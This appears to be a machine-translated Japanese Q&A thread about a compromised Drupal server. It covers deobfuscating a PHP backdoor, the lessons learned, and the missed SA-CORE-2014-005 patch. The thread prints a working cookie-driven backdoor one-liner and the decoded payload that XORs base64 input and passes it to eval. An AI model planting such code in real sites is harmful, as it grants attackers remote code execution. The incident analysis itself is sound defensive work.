web-dev-qa-db-ja.com

Drupalサーバーが侵害された-攻撃手法を調査したい/侵害された

drupalサイトが最新のCentOS 7 LAMP AWS EC2インスタンス(数か月前に新しくインストールされた)で実行されています)を持っています。 drupalサイトからダウンロードされ、適切なリビジョンなしでインストールされた、不十分にコード化されたサードパーティモジュール.

難読化されたPHP scripts/defaultフォルダー内のスクリプトもいくつか見つかりました。 http://www.unphp.net/ で実行してみましたが、運が悪い、それらはすべてゴミのように見えます:

http://www.unphp.net/decode/7f42bdb7c2a96a090a9ec4fdbb1e10a1/

これまでのところ、これらのPHP=ファイルを除いて、すべてが整っているように見えますが、私はそれらが何をしているのかさえわからないので困っています。

これだけ_translation-main_は、それがCookieからコードを実行していることはかなり明確に見えます:

<?php if(@$_COOKIE['ox']){$blft=$_COOKIE['ox']("",@$_COOKIE['mwov'](@$_COOKIE['lks']));$blft();}?>

私は今どうすればいい?コードを難読化してハッカーの活動を監視する方法はありますか?私は、私がサーバーを安全に保護することよりも、私的なものや貴重なものは何もないので、このケースからできるだけ多くを学ぶことに関心があります。

この質問の違い:

データを保護する必要はありません

攻撃者を見つけることは気にしない

通知するクライアントがいない

このサーバーで使用したパスワードと証明書はサーバーで一意であり、サーバーから他のサーバーにログオンしていません。

ハッカーを停止したり、サーバーをインターネットから切断したりする必要はありません。念のため、少なくともサーバーを詳細に調べて、それ以上のアクティビティを監視できると判断するか、再インストールする必要があると判断するまで、それを実行しました。

攻撃の種類の詳細があります。それはそうではありません。誰かが私のサーバーで何かをした!それは:誰かがこれを私のサーバーに入れて、それがリモートアクセスツールであることを知っていて、それについてもっと学ぼうとしているのですが、行き詰まっています。誰か私がそれについてもっと学ぶ方法を理解するのを手伝ってくれる?

14
NotGaeL

これらの種類のバックドアは多態性です。つまり、毎回異なるように見えるように設計されています。実際には、まったく同じことを行うため、それらを解読しようとするのは時間の無駄です。

彼らは外部入力を受け取り、それを実行します。

Cookieやpost変数から入力を受け取る場合があり、いくつかのPHPオプションを設定してエラーの表示やログ記録を防止することもできますが、最終目標は常に同じです。入力し、実行します。

私は今どうすればいい?

サーバーをクリーンアップし、脆弱性にパッチを適用して次に進む必要があります。

その上に私的なものや貴重なものは何もないので

その場合は、インスタンスを終了して新しいクリーンなインスタンスを起動することを強くお勧めします。

このケースからできるだけ多くのことを学びたい

学ぶべき重要なこと、または将来同じことが起こるのを防ぐのに役立つ何かがあるとは思いません。せいぜい、バイアグラスパムを送信するための一般的なコードが見つかるだけで、最悪の場合、フィッシングページのようなものをホストすることになります。

あなたができる限り非常にそれらのコードが分離されていることを確認します私はあなたのシステムでコードを実行する機会を不必要に与えません。少なくともAWSは、いずれかのインスタンスからのスパムを検出すると、アカウントに制限を課す可能性があります。

TLDR;それはそれだけの価値はありません。コードをリモートで実行するだけで、スパムの送信に使用されます。インスタンスをできるだけ早く新しいものと交換してください。


この特定のコードが何をするのかを本当に知りたいのであれば、それらを解読するプロセスは常に同じです。

  1. コードフォーマッタを介してコードを実行する
  2. たとえば、すべての関数呼び出しを見つけます。 $amwve = $zgxovk($xeyb, $wbjo);が関数呼び出しであることがわかります。
  3. 各変数の関数呼び出し行をechoに置き換え、その後にexit();を続けます
  4. 各ステップで各変数が何を保持しているかを理解するスクリプトを進めながら、このプロセスを繰り返します。ほとんどの変数は不必要であり、混乱させるだけです。
  5. 最終的に、入力を取得して実行するための実際のコードを含むビットが見つかります。

常に隔離された環境でこれを行います、オンラインのPHPインタープリターをお勧めします。_ini_set_。

あなたの場合、_$wbjo_に到達してエコーすると、次のようになります。

_$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);
_

ご覧のとおり、base64でエンコードされた2つのファイルを取得し、XORを実行して結果を評価しています。 XORingは、アップロードされているファイルが悪意のあるファイルであるとファイアウォールとWAFが識別するのが困難になるようにするためのものです。

20
thexacre

TL; DR:

2014-Oct-15 drupalコアの非常に重大な脆弱性 パッチを適用するのが遅すぎ、現時点で見逃していた問題の重大度と、サーバーが侵害されていないかどうかを評価するための適切なチェックを実行していません。ハッキングは、Drupalのサイトのテーマセクションから新たにダウンロードするのではなく、廃止されたサーバーバックアップからコピーしたテーマファイルから伝播しました。データベース、Webサーバー、システムログを確認し、データベースとdrupalバックアップを比較し、drupalのコアと拡張機能のセキュリティアドバイザリの速報を読み、texacreが提供するヒントのおかげでRATを分析することによって結論を導きます。

OKこれを認めることは非常に恥ずかしいですが、今何が起こったのかは明らかです。

これは通常、この状況で発生するため、0日間のエクスプロイトではなく、重要な更新の適用が遅すぎました。

私は別のDrupalを使用してサーバーを実行していました。昨年12月まで、実際にプロジェクトをテストするために使用していました。

私はログインするたびに毎日チェックして最新の状態に保っていましたが、11月頃、仕事で忙しくて非常に重要な更新を見逃しました https://www.drupal.org/SA-CORE -2014-005

発表からわずか7時間後Drupalチームは、パッチの適用されていないサーバーを実行する権限の昇格の悪用が既にあることをユーザーに警告していましたDrupal 7または8 。

どういうわけかこの警告が届かず、11日後、「利用可能なアップデートがあります」という一般的なメッセージが表示され、アップデートの内容を読み取らずにアップデートしました。私はすでにハッキングされていたため、この更新の重要性を示す大きな警告サインが表示されなかったのは偶然ではありません(または、更新サービスでは、何をすべきかを通知するための十分なメカニズムが提供されていない可能性がありますすでに侵害されている可能性があるシステムを更新しています...)

とにかく、数週間後にEC2プランをアップグレードすることを決め、このインスタンスをバックアップし、完全にオフにして新しいインスタンスに置き換えるために、私はそれについてもう考えさえしませんでした。

2か月前にこの新しいサーバーをセットアップするまで早送りします。

私は新しく始めました(新しいdrupalコアとすべて))が、テーマを再度ダウンロードするのではなく、古いファイルからテーマファイルをドロップしました。このサーバーで実行した最初のルーチン監査最初にこの質問を投稿するようになったRATコードを見つけるための手がかりをあきらめました。

そして、それは私が2か月間ハッキングされたDrupalサーバーをスパマーの喜びのために実行した方法に関する物語です(ログから、それは攻撃の主な目的だったようですが、実行するインスタンスに対して常に設定したAWSセキュリティグループポリシーがそれを妨げていたため、スパムメールが送信されました)。

したがって、CMS /フレームワーク/ディストリビューション、またはサーバー、特にパブリックアクセステクノロジーで使用しているその他のテクノロジーのセキュリティアドバイザリー情報を見つけてサブスクライブする必要があることを、すべての人に思い出させてください。

(ちなみに、私は30のRSSフィードが他にもあるので、手遅れになるまでこのアドバイザリを完全に逃してしまいましたが)

だから私はここで私のための教訓は次のとおりだと思います:

  • ログインして更新を確認するだけでは不十分です。重要なアカウントがある場合にメインアカウントにメールを送信するようにCMSを設定する必要があります(そのためのセカンダリアカウントを設定し、フィルターを自動に設定していません)これらのメッセージを私のメインアカウントに転送します。これにより、さらに5分かかり、このようなトラブルから私を救うことができます。
  • 私のRSSフィードでより整理され、私の更新を迅速に処理します。
  • 重大な脆弱性が発表された後、侵入を常にチェックする
  • パッチ適用前にエクスプロイトが蔓延している場合に、システムが危険にさらされていると常に想定する
  • フレッシュとはフレッシュを意味します。古いインスタンスのバックアップからテーマファイルを削除しないでください。
0
NotGaeL